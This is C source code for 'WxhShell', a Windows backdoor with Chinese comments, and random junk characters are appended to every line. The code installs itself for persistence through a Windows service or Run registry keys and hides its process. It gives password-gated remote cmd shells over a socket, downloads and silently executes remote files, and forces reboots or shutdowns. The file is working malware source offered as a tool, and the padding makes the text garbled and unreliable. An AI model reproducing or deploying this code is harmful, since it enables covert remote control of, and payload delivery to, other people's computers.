    if(Boot(SHUTDOWN)) m2{3j[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i j&_>   
    else { p_T>"v  
    closesocket(wsh); '# K:e  
    ExitThread(0); o%_MTCANy  
    } 9|#YKO\\i  
    break; ug*#rpb  
    } T 7`9[  
  // 获取shell ov>Rvy  
  case 's': { wN1%;~?7  
    CmdShell(wsh); `vs= CYs  
    closesocket(wsh); Blv!%es  
    ExitThread(0); Z |wM  
    break; SJ$N]<d  
  } _X5@%/Vz  
  // 退出 9fp@d  
  case 'x': { LnZzY0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qd\5S*Z1  
    CloseIt(wsh); Cj^:8 ?%  
    break; Gu} `X23  
    } `|@#~  
  // 离开 A;VjMfoB  
  case 'q': { <8#Q5   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FRa@T N/Ic  
    closesocket(wsh); 2K?~)q&t*  
    WSACleanup(); j. UQLi&`  
    exit(1); pMZKF=  
    break; Z@ AHe`A  
        } I`Goc!5t  
  } *((wp4b  
  } Itn7Kl  
OL+dx`Y  
  // 提示信息 0IU>KGJ-0s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :.KN;+tP  
} M JJ]8:%  
  } GQ<]Sd}[  
h&Thq52R  
  return; |tL57Wu93  
} tj:3R$a  
ANB@cK_  
// shell模块句柄 \\;i  
int CmdShell(SOCKET sock) <s/n8#i=H  
{ 7d&_5Tj:  
STARTUPINFO si; g3[Zh=+]E  
ZeroMemory(&si,sizeof(si)); P2J{ Ml#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Exir?G}\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3exv k  
PROCESS_INFORMATION ProcessInfo; D4 {?f<G0F  
char cmdline[]="cmd"; "JI FF_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5)X;q-  
  return 0; ZI"L\q=|0#  
} _-/aMfyQ  
C? pi8Xg  
// 自身启动模式 +-_71rJc.  
int StartFromService(void) B&^WRM;7t  
{ W_k;jy_{9  
typedef struct jwsl"zL  
{ HU[a b  
  DWORD ExitStatus; \~V Z Y  
  DWORD PebBaseAddress; b~F(2[o  
  DWORD AffinityMask; |Z%I3-z_DS  
  DWORD BasePriority; F O"8B  
  ULONG UniqueProcessId; yn&AMq ]o  
  ULONG InheritedFromUniqueProcessId; z{h#l!Edh  
}   PROCESS_BASIC_INFORMATION; 8`bQ,E+2  
\QF\Bh  
PROCNTQSIP NtQueryInformationProcess; =+um:*a.  
a*4"j2j v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w)x`zVwO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3L2@C%  
.Q'/e>0  
  HANDLE             hProcess; Wxjv=#3  
  PROCESS_BASIC_INFORMATION pbi; en\shc{R]`  
:00 #l]g0q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JTT"t@__  
  if(NULL == hInst ) return 0; C;m7 ~R  
mKWfRx*UdG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !3~VoNh,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bu`8QQ"C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z4S0{:XY  
eIVCg-l}  
  if (!NtQueryInformationProcess) return 0; X8!=Xjl)  
@NBWNgBv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *2MM   
  if(!hProcess) return 0; e&&;"^@-  
.ZSGnbJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GKPC9;{W  
qGndh  
  CloseHandle(hProcess); g8+w?Zn}  
JQVu&S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Eyw)f>  
if(hProcess==NULL) return 0; bkmW[w:M  
-VK 6Fq  
HMODULE hMod; - w41Bvz0  
char procName[255]; o`^GUY}  
unsigned long cbNeeded; H^jFvAI,8  
(s?`*i:2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EZvB#cuL-  
X]'Hz@$N  
  CloseHandle(hProcess); BKoc;20;  
]:* 8 Mb#  
if(strstr(procName,"services")) return 1; // 以服务启动 (W~jr-O^  
W#cr9"'Ta  
  return 0; // 注册表启动 `Pj7O/!)#!  
} Y.$InQ gL  
J"w!Q\_  
// 主模块 ]h (TZu  
int StartWxhshell(LPSTR lpCmdLine) u7|{~D&f  
{ c"ukV_6~J  
  SOCKET wsl; 75Xi%mlE7  
BOOL val=TRUE; XQEGMaZ  
  int port=0; |xI\)V E^  
  struct sockaddr_in door; OCy\aCp  
dZ!Wj7K)  
  if(wscfg.ws_autoins) Install(); `!MyOI`qS  
mT57NP  
port=atoi(lpCmdLine); iQ= %iou  
%N)o*H&  
if(port<=0) port=wscfg.ws_port; v4L#^Jw(^p  
j=v1:E  
  WSADATA data; .8is! TT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O[RmQ8ll  
_]E ~ci}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rI&GM |  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rl)(4ad=  
  door.sin_family = AF_INET; 9GnNL I{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); riI0k{   
  door.sin_port = htons(port); +Ux)m4}j  
NLDmZra  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =J.)xDx*  
closesocket(wsl); oRM EC7!A0  
return 1; qB3{65  
} fFXG;Q8&  
=YX/]g|9K  
  if(listen(wsl,2) == INVALID_SOCKET) { ]ABpOrg  
closesocket(wsl); ]Jj\**  
return 1; ok5 {c  
} sg 12C  
  Wxhshell(wsl); b5YjhRimS  
  WSACleanup(); S~vbISl  
ZTG*|  
return 0; ~p~8T  
+3e(psdg  
} ]B>Y  +  
b?-%Uzp<  
// 以NT服务方式启动 5YIi O7@4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ogv86d  
{ K5(?6hr;  
DWORD   status = 0; e,Xvt5  
  DWORD   specificError = 0xfffffff; uR"srn;^  
puS'9Lpp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]I"oS?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GCrh4rxgg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |0(Z)s,  
  serviceStatus.dwWin32ExitCode     = 0; b:7;zOtF  
  serviceStatus.dwServiceSpecificExitCode = 0; i;^ e6A>  
  serviceStatus.dwCheckPoint       = 0; 64}Oa+*s  
  serviceStatus.dwWaitHint       = 0; M;W{A)0i1  
9\*xK%T+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cog Lo&.  
  if (hServiceStatusHandle==0) return; =mCUuY#  
j'-akXo<  
status = GetLastError(); y]=v+Q*+  
  if (status!=NO_ERROR) ~az 6n)  
{ (c(c MC'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?PWD[mQE\  
    serviceStatus.dwCheckPoint       = 0; Ze~ a+%Sb  
    serviceStatus.dwWaitHint       = 0; 9QJ=?bIC#  
    serviceStatus.dwWin32ExitCode     = status; b@N|sXt&C  
    serviceStatus.dwServiceSpecificExitCode = specificError; s)yEVh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zsI0Q47\  
    return; T4T_32`XR  
  } '9GHmtdO,  
kgK7 T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }jTEgog  
  serviceStatus.dwCheckPoint       = 0; Js qze'BGY  
  serviceStatus.dwWaitHint       = 0; )8&Q.? T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EA75 D&>I  
} _6qf>=qQ`"  
!.L%kw7z  
// 处理NT服务事件,比如:启动、停止 [7]p\' j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |LKhT4rE  
{ .CI]8O"3y  
switch(fdwControl) ~=%eOoZP;c  
{ uW4G!Kw28  
case SERVICE_CONTROL_STOP: D>c%5h  
  serviceStatus.dwWin32ExitCode = 0; =(*Eh=Pw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  yyk[oH-Q  
  serviceStatus.dwCheckPoint   = 0; (|ga#%iI  
  serviceStatus.dwWaitHint     = 0; ^`YSl*:  
  { 6fPuTQ}fY>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,e>C)wq;  
  } M#})  
  return; /'E+(Y&:J  
case SERVICE_CONTROL_PAUSE: $$ {ebt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %kNkDI  
  break; *%ZfE,bu8<  
case SERVICE_CONTROL_CONTINUE: j]J2,J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qfppJ8L  
  break; s;}';#  
case SERVICE_CONTROL_INTERROGATE: Mim 9C]h(  
  break; e@p` -;<  
}; hr@KWE`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A3&8@/6,  
} -+|0LXo  
4_PMl6qo  
// 标准应用程序主函数 6,_CL M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e kI1j%fO  
{ `]WU=Ss  
~n]:f7?I  
// 获取操作系统版本 |Uy hH^  
OsIsNt=GetOsVer(); ;#/b=j\pi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N3vk<sr@  
'n4zFj+S  
  // 从命令行安装 DXKk1u?Tq  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3`#sXt9C  
nUmA  
  // 下载执行文件 ErB6fl  
if(wscfg.ws_downexe) { {>QrI4*A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +ls *04  
  WinExec(wscfg.ws_filenam,SW_HIDE); HJBUN1n  
} ]lQhIf6)k  
'4HwS$mW3  
if(!OsIsNt) { U@D=.6\B  
// 如果时win9x,隐藏进程并且设置为注册表启动 }'kk}2ej`  
HideProc(); HtY\!_Ea  
StartWxhshell(lpCmdLine); @Z@yI2#e  
} wi*Ke2YKP  
else Jd1eOeS  
  if(StartFromService()) D6bCC; h=  
  // 以服务方式启动 %~Nf,  
  StartServiceCtrlDispatcher(DispatchTable); IIop"6Ko  
else o,bV.O.W  
  // 普通方式启动 7_#v_ A^  
  StartWxhshell(lpCmdLine); 1P8$z:|~  
mg'-]>$$]  
return 0; M/d!&Bk  
} F1Egcx/$V  
H W.S~eLw*  
qK|r+}g|&  
A!iH g__/t  
=========================================== gADt%K2 #Z  
$6fHY\i#R  
\jq1F9,  
* I'O_D  
.vQ2w  
Yz-b~D/=}  
" J9poqp@`MG  
HaB=nLAT  
#include <stdio.h> n{4&('NRFP  
#include <string.h> P[XE5puC  
#include <windows.h> tm+}@CM^.  
#include <winsock2.h> !n uXK  
#include <winsvc.h> Q:_pW<^  
#include <urlmon.h> ,vg8iR a  
3w{ i5gGn  
#pragma comment (lib, "Ws2_32.lib") Y;&Cmi  
#pragma comment (lib, "urlmon.lib") Ks7s2vK^  
vGm;en   
#define MAX_USER   100 // 最大客户端连接数 +/Y )s5@<  
#define BUF_SOCK   200 // sock buffer zb9d{e   
#define KEY_BUFF   255 // 输入 buffer 4 D\_[(P  
#"i}wS  
#define REBOOT     0   // 重启 kf"cd 1  
#define SHUTDOWN   1   // 关机 wQ.ild  
Qt>yRt  
#define DEF_PORT   5000 // 监听端口 8VMq>-  
.V/TVz!b  
#define REG_LEN     16   // 注册表键长度 ^o?.Rph|i]  
#define SVC_LEN     80   // NT服务名长度 ctt5t  
;C{ 2*0"H|  
// 从dll定义API u =rY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S'E6#   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i9.5 2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q%>L/KJ#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !7%L%~z^  
k(VA5upCs  
// wxhshell配置信息 aN;L5;m#>{  
struct WSCFG { ZV;#ZXch  
  int ws_port;         // 监听端口 'Iu$4xo`[  
  char ws_passstr[REG_LEN]; // 口令 xO?~@5  
  int ws_autoins;       // 安装标记, 1=yes 0=no *vBcT.|,  
  char ws_regname[REG_LEN]; // 注册表键名 zI7-xqZ  
  char ws_svcname[REG_LEN]; // 服务名 i"w$D{N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a |z{B b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $: Qi9N   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d54>nycU~N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no deeOtco$LT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EO'3;mo,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xZ,g6s2o  
A|y&\~<A  
}; TC R(  
H.i_,ZF  
// default Wxhshell configuration ]4z?sk@  
struct WSCFG wscfg={DEF_PORT, b;x^>(It  
    "xuhuanlingzhe", bd)A6a\h  
    1, s BRw#xyS  
    "Wxhshell", ,HMB`vF  
    "Wxhshell", 4qyL' \d[  
            "WxhShell Service", @9vz%1B<l  
    "Wrsky Windows CmdShell Service", e j!C^  
    "Please Input Your Password: ", 1Ete;r%5=  
  1, H3a}`3}U  
  "http://www.wrsky.com/wxhshell.exe", { Ja#pt  
  "Wxhshell.exe"  d(v )SS  
    };  NsJUruN  
!Rsx)  
// 消息定义模块 )*s.AFu]7x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vNJ!i\bX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TAzhD.6C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }GGFJ"  
char *msg_ws_ext="\n\rExit."; G3?8GTH  
char *msg_ws_end="\n\rQuit."; u[d8)+VX  
char *msg_ws_boot="\n\rReboot..."; ]MB ^0:F-  
char *msg_ws_poff="\n\rShutdown..."; pazFVzT  
char *msg_ws_down="\n\rSave to "; y!aq}YS  
]Ff&zBJ  
char *msg_ws_err="\n\rErr!"; ^'FY!^dE  
char *msg_ws_ok="\n\rOK!"; F*I{?NRN1  
xQJdt $]U@  
char ExeFile[MAX_PATH]; 26\1tOj Np  
int nUser = 0; z ^a,7}4  
HANDLE handles[MAX_USER]; Y%wF;I1x  
int OsIsNt; >nl *aN  
T+2?u.{I  
SERVICE_STATUS       serviceStatus; 7 v`Y*D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9*,5R,#  
ld2 \/9+n  
// 函数声明 2I>CA [qp  
int Install(void); %W`pTvF  
int Uninstall(void); x%x[5.CT  
int DownloadFile(char *sURL, SOCKET wsh); 40q8,M  
int Boot(int flag); U 2\{ ( y  
void HideProc(void); ^PWZ1.T  
int GetOsVer(void); wF38c]r`\<  
int Wxhshell(SOCKET wsl); &:{| nDT_2  
void TalkWithClient(void *cs); M%B]f2C  
int CmdShell(SOCKET sock); ]Fj z+CGg  
int StartFromService(void); 9"<)DS  
int StartWxhshell(LPSTR lpCmdLine); <'B`b  
U'lrdc"Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wetkmd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j4brDlo?@  
l"ih+%S  
// 数据结构和表定义 tnKzg21%  
SERVICE_TABLE_ENTRY DispatchTable[] = OwDjUKeN  
{ L {5zA5#m  
{wscfg.ws_svcname, NTServiceMain}, M(/%w"R  
{NULL, NULL} B>~E6j7[Mp  
}; bJ/~UEZw  
jkPXkysm  
// 自我安装 e1+ %c9UQ  
int Install(void) q:nYUW o   
{ ]vu' +F$  
  char svExeFile[MAX_PATH]; ;%U`lE0  
  HKEY key; T]E$H, p  
  strcpy(svExeFile,ExeFile); qtgj"4,:`  
LW,!B.`@  
// 如果是win9x系统,修改注册表设为自启动 m'429E]\S  
if(!OsIsNt) { k,q` ^E8k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O gycP4z[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Grw_SVa^  
  RegCloseKey(key); ; G E0iSC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o*dhks[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fT'A{&h|U  
  RegCloseKey(key); uYO?Rb&}  
  return 0; N 8mK^{  
    } /nC"'d(#  
  } I98wMV8  
} c?z% z&  
else { y8,es$  
kuUH 2:L  
// 如果是NT以上系统,安装为系统服务 VY![VnHsB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^{Mx?]z  
if (schSCManager!=0) @];Xbbw+c  
{ Y @K9Hl  
  SC_HANDLE schService = CreateService 0e/~H^,SQ  
  ( uHwuw_eK`  
  schSCManager, H[6d@m- Z  
  wscfg.ws_svcname, B;rq{ac!P]  
  wscfg.ws_svcdisp, (1TYJ. Z  
  SERVICE_ALL_ACCESS, ^&Qaf:M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {O!fV<Vx 9  
  SERVICE_AUTO_START, Cf%)W:Q9  
  SERVICE_ERROR_NORMAL, L(X:=) !K0  
  svExeFile, s!UC{)g,  
  NULL, dn5T7a~   
  NULL, 9Uk9TG5  
  NULL, V#sANi?mpo  
  NULL, +/UInAM  
  NULL Ya,>E@oc  
  ); \W$>EH  
  if (schService!=0) qP]Gl--q{  
  { ozGK -$  
  CloseServiceHandle(schService); I@x*>  
  CloseServiceHandle(schSCManager); tM !1oWH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E%$FX' 8&  
  strcat(svExeFile,wscfg.ws_svcname); LTJ|EXYA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l?#([(WM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _s=[z$EN&  
  RegCloseKey(key); iF`E> %#  
  return 0; 'RG`DzuF  
    } 3 #jPQ[+  
  } "h)+fAT|,  
  CloseServiceHandle(schSCManager); JbG+ysn  
} [%bshaY:  
} gE8>5_R|  
7AtJ6  
return 1; 7Qq>?H -  
} ^ *m;![$[  
8 A2k-X,  
// 自我卸载 6i&WF<%D  
int Uninstall(void) w+ _'BU1#  
{ rKR<R(=!=  
  HKEY key; 2M|jWy_  
r)*KgGsk  
if(!OsIsNt) { 9fe~Q%x=u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2"%d!"  
  RegDeleteValue(key,wscfg.ws_regname); B\N,%vsx#U  
  RegCloseKey(key); \7Zk[)!FL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { znu?x|mV  
  RegDeleteValue(key,wscfg.ws_regname); mEE/Olh W  
  RegCloseKey(key); y+X%qTB  
  return 0; AMtFOXx%I  
  } 33 N5>}  
} TNiF l hq  
} F1 MPo;e  
else { ,!Ah+x  
?K}/b[[0v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f$/Daq <M  
if (schSCManager!=0) < v0 d8  
{ ]l&_Pv!!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jQ`cfE$sV  
  if (schService!=0) gKBcD\F  
  { Dwwh;B  
  if(DeleteService(schService)!=0) { ;i Ud3 '*  
  CloseServiceHandle(schService); bC"#.e  
  CloseServiceHandle(schSCManager); q \0>SG  
  return 0; 2uqdx'^"  
  } VIynlvy  
  CloseServiceHandle(schService); !_zmm$bR  
  } L+d_+:w  
  CloseServiceHandle(schSCManager); Y$% Ze]~  
} 4xg%OH  
} _.\p^ HM  
NlWIb2,  
return 1; xNl_Q8Z?R^  
} UJlKw `4  
C+2*m=r  
// 从指定url下载文件 O(wt[AEA  
int DownloadFile(char *sURL, SOCKET wsh) ?1?m4i  
{ ;Wb W\,P'  
  HRESULT hr; t[0gN:s  
char seps[]= "/"; =y ^N '1q  
char *token; cojuU=i  
char *file; /z~;.jRg  
char myURL[MAX_PATH]; <BT}Tv9  
char myFILE[MAX_PATH]; #O`n Q  
b+3{ bE  
strcpy(myURL,sURL); T2^ @x9  
  token=strtok(myURL,seps); lZ E x0  
  while(token!=NULL) 6Pd;I,k  
  { Pm V:J9  
    file=token; {6v+ Dz>  
  token=strtok(NULL,seps); !a4pKN`qLY  
  } d94Lc-kq^  
72luTR Q  
GetCurrentDirectory(MAX_PATH,myFILE); WEWNFTI  
strcat(myFILE, "\\"); ,9  
strcat(myFILE, file); }J"}poB:  
  send(wsh,myFILE,strlen(myFILE),0); NcFHvK  
send(wsh,"...",3,0); m<TKy_C`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eV}Ow`~I5  
  if(hr==S_OK) _f2(vWCW;J  
return 0; Smg,1,=  
else q=g;TAXZl  
return 1; XG_ lyx%:E  
6uR :/PTG  
} c00a;=ji  
w_4`Wsn  
// 系统电源模块 ?v `0KF  
int Boot(int flag) [ 98)7  
{ zJXU>'obe  
  HANDLE hToken; Tig`4d-%  
  TOKEN_PRIVILEGES tkp; e3\*Np!rTQ  
g$ 9Yfu  
  if(OsIsNt) { </Q<*@p?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \JN?3}_J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zTm&m#){3A  
    tkp.PrivilegeCount = 1; 'tp+g3V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s#-`,jqD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 57D /"  
if(flag==REBOOT) { %A:<rO85o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) exZa:9 sp  
  return 0; 7n}J}8Y*U2  
} 2NqlE  
else { kf.w:X"i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S'vrO}yU  
  return 0; ->$Do$  
} SU Hyg/|F  
  } gQ/-.1Pz$  
  else { q>o1kTI  
if(flag==REBOOT) { 1i^!A&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G-9]z[\#  
  return 0; l<! ?`V6}  
} 7WKb| /#;  
else { _}{C?611c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .$L'Jt2X  
  return 0; p.gi8%f`  
} i|y8n7c  
} rp+&ax}Wh  
68W&qzw.[r  
return 1; FE" ksi 9  
} [f&ja[m q  
~UEft  
// win9x进程隐藏模块 ^4h/6^b0c  
void HideProc(void) <jY"+@rF  
{ 0a ZplE,  
Ae;> @k/|=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t1wNOoRa  
  if ( hKernel != NULL ) $wub)^  
  { Nu<M~/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nV@k}IJg:?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @y2{LUJe  
    FreeLibrary(hKernel); >5'C<jc C  
  } O#sDZ.EL  
G?#f@N0.5p  
return; >01&3-r  
} 'UUIY$V[  
n&p i  
// 获取操作系统版本 ,n-M!y  
int GetOsVer(void) :Fm;0R@/k  
{ N/4`afiV.  
  OSVERSIONINFO winfo; )t0Y-),vA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H?m9HBDpn  
  GetVersionEx(&winfo); 4&Y{kNF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OB.TAoH:  
  return 1; \U\ W Q  
  else 6f v{?0|  
  return 0; m+?$cyA>v  
} Y1h8O%?  
>\+c@o[  
// 客户端句柄模块 jO&sS?  
int Wxhshell(SOCKET wsl) >WVos 4  
{ < HlS0J9  
  SOCKET wsh; l c?9B  
  struct sockaddr_in client; 7y""#-}V[r  
  DWORD myID; N\1 EWi  
5 <X.1 T1  
  while(nUser<MAX_USER) AvfSR p  
{ Po~{Mpe  
  int nSize=sizeof(client); ...|S]a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); | :7O  
  if(wsh==INVALID_SOCKET) return 1; :70[zo7n'  
Bvk 8b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W|XW2`3p  
if(handles[nUser]==0) 7O',X Y  
  closesocket(wsh); 8eCC =Az:  
else JPJ&k( P  
  nUser++; IH(]RHTp%  
  } >> yK_yg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F%Oy4*4  
yr8 b?m.x  
  return 0; &66-0d+Sh  
} G6]W'Kk  
pN|BtrN{  
// 关闭 socket =4+Wx8ZeW  
void CloseIt(SOCKET wsh) :08b&myx  
{ #;4<dDVy  
closesocket(wsh); D"UCe7  
nUser--; [CTE"@A  
ExitThread(0); 2#%@j6  
} SM;UNIRVE  
wK>a&`<  
// 客户端请求句柄 us%dw&   
void TalkWithClient(void *cs) <]1Z  
{ T?B753I  
0' j/ 9vm  
  SOCKET wsh=(SOCKET)cs; m?G@#[ l  
  char pwd[SVC_LEN]; #29m <f_n  
  char cmd[KEY_BUFF]; YGFE(t;lPU  
char chr[1]; 2NMS '"8  
int i,j; g-)izPX  
@#m@ .   
  while (nUser < MAX_USER) { )nE=H,U?y  
v o<'7,  
if(wscfg.ws_passstr) { ;:nx6wi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O1]L4V1iH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1X. E:  
  //ZeroMemory(pwd,KEY_BUFF); QfPsF@+-`7  
      i=0; P`^3-X/  
  while(i<SVC_LEN) { T)4pLN E  
CNP!v\D  
  // 设置超时 [[ {L#  
  fd_set FdRead; t,H=;U#  
  struct timeval TimeOut; jMFLd  
  FD_ZERO(&FdRead); G)5R iRcs  
  FD_SET(wsh,&FdRead); Y]MB/\gj  
  TimeOut.tv_sec=8; d7(g=JK<  
  TimeOut.tv_usec=0; uknX py))  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &gGh%:`B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0G?*i_u\  
+h*-9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 55LW[Pc  
  pwd=chr[0]; @s7ZfV??  
  if(chr[0]==0xd || chr[0]==0xa) { rx[l7F q  
  pwd=0; < KB V  
  break; !C]2:+z-MF  
  } !g|)?XWc  
  i++; }[2  
    } %# M=qP  
f)'m pp^  
  // 如果是非法用户,关闭 socket %BBM%Lj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }K F f  
} Hst]}g' .  
*n]f)Jc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #POVu|Y;h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :[P)t %  
4gKu8G  
while(1) { WK$d<:"  
g+v.rmX  
  ZeroMemory(cmd,KEY_BUFF); $F&m('aB8  
kxvzAKz~  
      // 自动支持客户端 telnet标准   J]mG!#9  
  j=0; yzI`&? P2  
  while(j<KEY_BUFF) { bn*SLWWQ.3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4{zz-4=  
  cmd[j]=chr[0]; "2m (*+  
  if(chr[0]==0xa || chr[0]==0xd) { OS - Xh-:z  
  cmd[j]=0; zv.R~lMtY  
  break; r. z=  
  } GycW3tc]_&  
  j++; ZsnFuk#W  
    } ^mp#7OL  
kMS&"/z  
  // 下载文件 M_BG :P5  
  if(strstr(cmd,"http://")) { rg5ZxN|g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "39\@Ow  
  if(DownloadFile(cmd,wsh)) AT{rg/oSf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >v?&&FhHK<  
  else "O (N=|b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sd m4zV]&  
  } C srxi'Pe  
